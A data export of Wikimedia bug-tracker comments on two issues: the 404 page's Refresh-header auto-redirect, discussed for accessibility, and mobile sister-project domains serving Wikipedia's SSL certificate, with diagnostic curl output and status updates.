+514404,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,Adding #Reading-Web and #Discovery in case someone from either of those two teams wants to comment,,,1440527231,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,True,,,103,True,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+513963,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Change 233664 had a related patch set uploaded (by MZMcBride):
+Remove auto-redirection from 404 page.
+
+[[https://gerrit.wikimedia.org/r/233664]]
+",,,1440475971,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,103,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+512219,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"The code that does this is in operations/mediawiki-config.git, specifically w/404.php. You could submit a patch.",,,1440149974,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,True,,,103,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+171479,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Did anyone trouble to check [[HTTP refresh]] for information regarding the reviling of them? It links to <http://www.w3.org/TR/WAI-WEBCONTENT/#gl-movement>, <http://www.w3.org/TR/WCAG10-HTML-TECHS/#meta-element>, and <http://www.w3.org/QA/Tips/reback>.",,,1393273629,,PHID-USER-3bnjvlq3zbpzzxdh4g4g,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,25,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,0,1
+171474,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Interestingly, if the URL path begins with ""w/"" (cf. bug 54357), no ""Refresh"" header is output. Compare:
+
+---
+mzmcbride@tools-login:~$ curl -I ""http://en.wikipedia.org/o""
+HTTP/1.0 404 Not Found
+Date: Tue, 24 Sep 2013 21:30:29 GMT
+Server: Apache
+Cache-Control: s-maxage=2678400, max-age=2678400
+X-Wikimedia-Debug: prot=http:// serv=en.wikipedia.org loc=/o
+Refresh: 5; url=http://en.wikipedia.org/wiki/o
+Content-Length: 2786
+Content-Type: text/html; charset=utf-8
+X-Cache: MISS from cp1007.eqiad.wmnet
+X-Cache-Lookup: MISS from cp1007.eqiad.wmnet:3128
+X-Cache: MISS from cp1017.eqiad.wmnet
+X-Cache-Lookup: MISS from cp1017.eqiad.wmnet:80
+Connection: close
+---
+
+Here we see the ""Refresh"" header, confirming comment 0.
+
+Compare to:
+
+---
+mzmcbride@tools-login:~$ curl -I ""http://en.wikipedia.org/w/o""
+HTTP/1.0 404 Not Found
+Date: Tue, 24 Sep 2013 21:25:25 GMT
+Server: Apache
+Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
+X-Wikimedia-Debug: prot=https:// serv=en.wikipedia.org loc=/w/o
+Content-Length: 2755
+Content-Type: text/html; charset=utf-8
+Age: 327
+X-Cache: HIT from cp1020.eqiad.wmnet
+X-Cache-Lookup: HIT from cp1020.eqiad.wmnet:3128
+X-Cache: MISS from cp1005.eqiad.wmnet
+X-Cache-Lookup: MISS from cp1005.eqiad.wmnet:80
+Connection: close
+---
+
+No ""Refresh"" header.",,,1380058286,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+171472,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"(In reply to comment #5)
+> That guideline says not to use meta refresh in place of HTTP redirect.
+> 
+> ie: A redirect page with nothing on it but a meta redirect and text saying the
+> user will be redirected.
+> 
+> This isn't a server redirect replacement. This is a 404 page that is intended
+> as a 404 page and includes a meta redirect to make a guess of where a user
+> 'might' want to go.
+
+Except for what percent of users who aren't able to read the error page before being auto-redirected?
+
+The goal of the guideline was to clarify that redirects should be automatic or not, as browser control over meta-refresh tags (delayed redirects) wasn't (and still isn't) feasible. Even browsers with the ability to disable meta-refresh tags use such an obscure system that it's limited to only power-users. And it's exactly the opposite kind of user who needs to have the page displayed for a longer period of time usually.
+
+Auto-redirects are bad for accessibility. Providing a link to the possible intended target (the ""guess,"" as you call it) is completely sufficient here, isn't it?",,,1331782447,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,True,,,-76,True,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+171470,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"That guideline says not to use meta refresh in place of HTTP redirect.
+
+ie: A redirect page with nothing on it but a meta redirect and text saying the user will be redirected.
+
+This isn't a server redirect replacement. This is a 404 page that is intended as a 404 page and includes a meta redirect to make a guess of where a user 'might' want to go.
+
+
+Personally I want to eventually handle 404's internally within MediaWiki.",,,1331781780,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,False,,,-76,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+171468,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"(In reply to comment #3)
+> My point is that those guidelines are needed to resolve this problem.  At the
+> very least, we should have the guidelines so anyone can verify the above
+> assertions.
+
+* https://en.wikipedia.org/w/index.php?oldid=480977530#Redirects
+* http://www.w3.org/TR/1999/WD-WAI-PAGEAUTH-19990226/wai-pageauth.html#tech-no-single-refresh
+* http://www.w3.org/TR/1999/WD-WAI-PAGEAUTH-19990226/wai-pageauth-tech.html#tech-no-single-refresh
+
+I don't really think it's necessary to re-debate what was properly decided (and deprecated) over ten years ago, but if someone would like to on this bug, I'm prepared.",,,1331778068,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,True,,,-76,True,0,1,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1,1
+171465,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"(In reply to comment #2)
+> (In reply to comment #1)
+> > Neither of you pointed to the applicable guidelines.
+> 
+> What's your point?
+
+My point is that those guidelines are needed to resolve this problem.  At the very least, we should have the guidelines so anyone can verify the above assertions.",,,1331771680,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,False,,,-76,True,0,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1
+171462,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"(In reply to comment #1)
+> Neither of you pointed to the applicable guidelines.
+
+What's your point?",,,1331587862,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,True,,,-77,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1
+171458,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Bug 17316 says
+
+> * It has a meta refresh on the client-side, which is pretty much universally
+> discouraged for accessibility purposes;
+
+You say
+
+> Auto-refreshes/auto-redirects like this are generally considered terrible from
+> an accessibility standpoint. This header should simply be removed.
+
+Neither of you pointed to the applicable guidelines.",,,1331553011,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,1,False,,,-77,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1
+36788,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"Try visiting https://en.m.wiktionary.org/wiki/Wiktionary:Main_Page - you'll get warning that host does not match certificate. The cert is issued to Wikipedia.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1330507020,1363804433.0,PHID-USER-aasrweh54ew7py3agvg2,False,,False,PHID-TASK-pumiywpy6qmi7nito5hn,task_description,resolved,True,c2,1,False,False,True,-78,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+164631,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"According to RobH ""This was done and pushed out awhile ago, all done!""
+
+Closing as FIXED.",,,1363804433,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-23,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+164624,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"Note that m.wikipedia.org was also accidentally left off, so the unified cert is being rolled back.",,,1363133763,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+164620,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,mediawiki.org was accidentally left out of the unified certificate. We'll be ordering a new one soon.,,,1363127826,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+164616,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,Done for all except for mediawiki.org,,,1363127766,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-25,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+164610,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"Created attachment 11918
+Windows Phone 7.5 error screen on wikivoyage
+
+**Attached**: {F8836}",,,1363115566,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+164605,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"Created attachment 11917
+Errors on m.wikivoyage in Firefox
+
+**Attached**: {F8835}",,,1363115509,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+164598,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,*** Bug 46037 has been marked as a duplicate of this bug. ***,,,1363115475,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-25,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+164592,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,Just in case it's related: I just logged in to English Wikipedia from my mobile device and a dialog showed up saying that wikivoyage.org certificate is untrusted.,,,1361921653,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-27,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+164588,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**inbox** wrote:
+
+%%%*** Bug 38412 has been marked as a duplicate of this bug. ***%%%",,,1361358978,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-27,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+164583,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**inbox** wrote:
+
+%%%*** Bug 37650 has been marked as a duplicate of this bug. ***%%%",,,1361358864,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-27,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+164578,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"(In reply to comment #15)
+> This was posted over a month ago. Any updates?
+
+The RT ticket's had very recent progress. I wouldn't expect any further news at least until after the weekend.",,,1361038878,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-28,True,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1
+164569,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"(In reply to comment #13)
+> > The problem is that mobile is served by Varnish, whereas the main projects
+> > are still on Squid, and NGINX (HTTPS) will need to distinguish between the
+> > two in this new setup.
+> 
+> As for the current status, RobHa ""emailed digicert to attempt to get ALL our
+> domains as SANS on a single root level wikimedia.org certificate.""
+
+This was posted over a month ago. Any updates? Just had a user in #wikimedia-tech asking about https://uk.m.wikinews.org using a wikipedia cert.",,,1361038211,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-28,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+164562,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"Created attachment 11757
+ugly error message in Firefox android
+
+**Attached**: {F8834}",,,1360344072,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-29,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+164553,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"DavidL: ""Critical"" means ""Crashes, loss of data"" as per http://www.mediawiki.org/wiki/Bugzilla/Fields#Severity . That's not the case here.
+
+With regard to the problems and the current status of this:
+
+> The problem is that mobile is served by Varnish, whereas the main projects
+> are still on Squid, and NGINX (HTTPS) will need to distinguish between the
+> two in this new setup.
+
+As for the current status, RobHa ""emailed digicert to attempt to get ALL our domains as SANS on a single root level wikimedia.org certificate.""",,,1358158691,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-33,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+164547,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**lambdav** wrote:
+
+Critical problems do not seems to be high priority for wikimedia...",,,1357951678,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+164543,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"...or remove the ""Mobile view"" link altogether when in https. Seriously - this really should be dealt with, even if we don't get good certificates.",,,1352636537,,PHID-USER-pwsgofaoir7tnszvfzqi,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-42,True,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+164539,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"If the good certificates won't be added, is there a way to redirect users, that used ""normal"" website in https and click on ""Mobile view"" link, to mobile website using http ?",,,1350160634,,PHID-USER-5paybpgtxjrhikdos3p5,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,0
+164535,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"(In reply to comment #6)
+> (In reply to comment #1)
+>> RT #2541
+> 
+> This site has private access only.
+> 
+> How many years to solve a Critical problem with High priority ? No one is
+> assigned to this bug, and no solution is proposed.
+
+Well, it's obviously not a critical problem with high priority, then. If it were, it would have been fixed already, right? :-)
+
+I'm gonna bump the priority down a bit, as the mobile sites not properly handling SSL isn't that critical, as I read it. It used to be that the mobile site was completely read-only, but maybe that's changed? I'm not sure what the critical or high priority parts would be here.
+
+I think you're really asking for a status update from RT #2541. I'll CC a few a people on this bug who may be able to help with that.
+
+(In reply to comment #8)
+> On a related note, if you go to .com addresses (like https://en.wikipedia.com/)
+> using HTTPS protocol, before you get forwarded to the .org address, you will
+> get an error message regarding the SSL key. That is because the .com addresses
+> use the SSL key that is for *.wikipedia.org
+
+I split this out to bug 40998.",,,1350101462,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,True,,,-46,True,1,0,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+164532,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"On a related note, if you go to .com addresses (like https://en.wikipedia.com/) using HTTPS protocol, before you get forwarded to the .org address, you will get an error message regarding the SSL key. That is because the .com addresses use the SSL key that is for *.wikipedia.org",,,1350098036,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+164529,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**headerfuturetree** wrote:
+
+//**content hidden as private in Bugzilla**//",,,1348146930,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-49,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+164525,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**lambdav** wrote:
+
+(In reply to comment #1)
+> RT #2541
+
+This site has private access only.
+
+How many years to solve a Critical problem with High priority ? No one is assigned to this bug, and no solution is proposed.",,,1342358249,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-59,True,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,1
+164518,Non-Wikipedia mobile domains use Wikipedia's SSL certificate,"**lambdav** wrote:
+
+How many months to resolve a Critical bug with High priority ?",,,1339593996,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pumiywpy6qmi7nito5hn,task_subcomment,,True,c2,1,False,,,-63,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
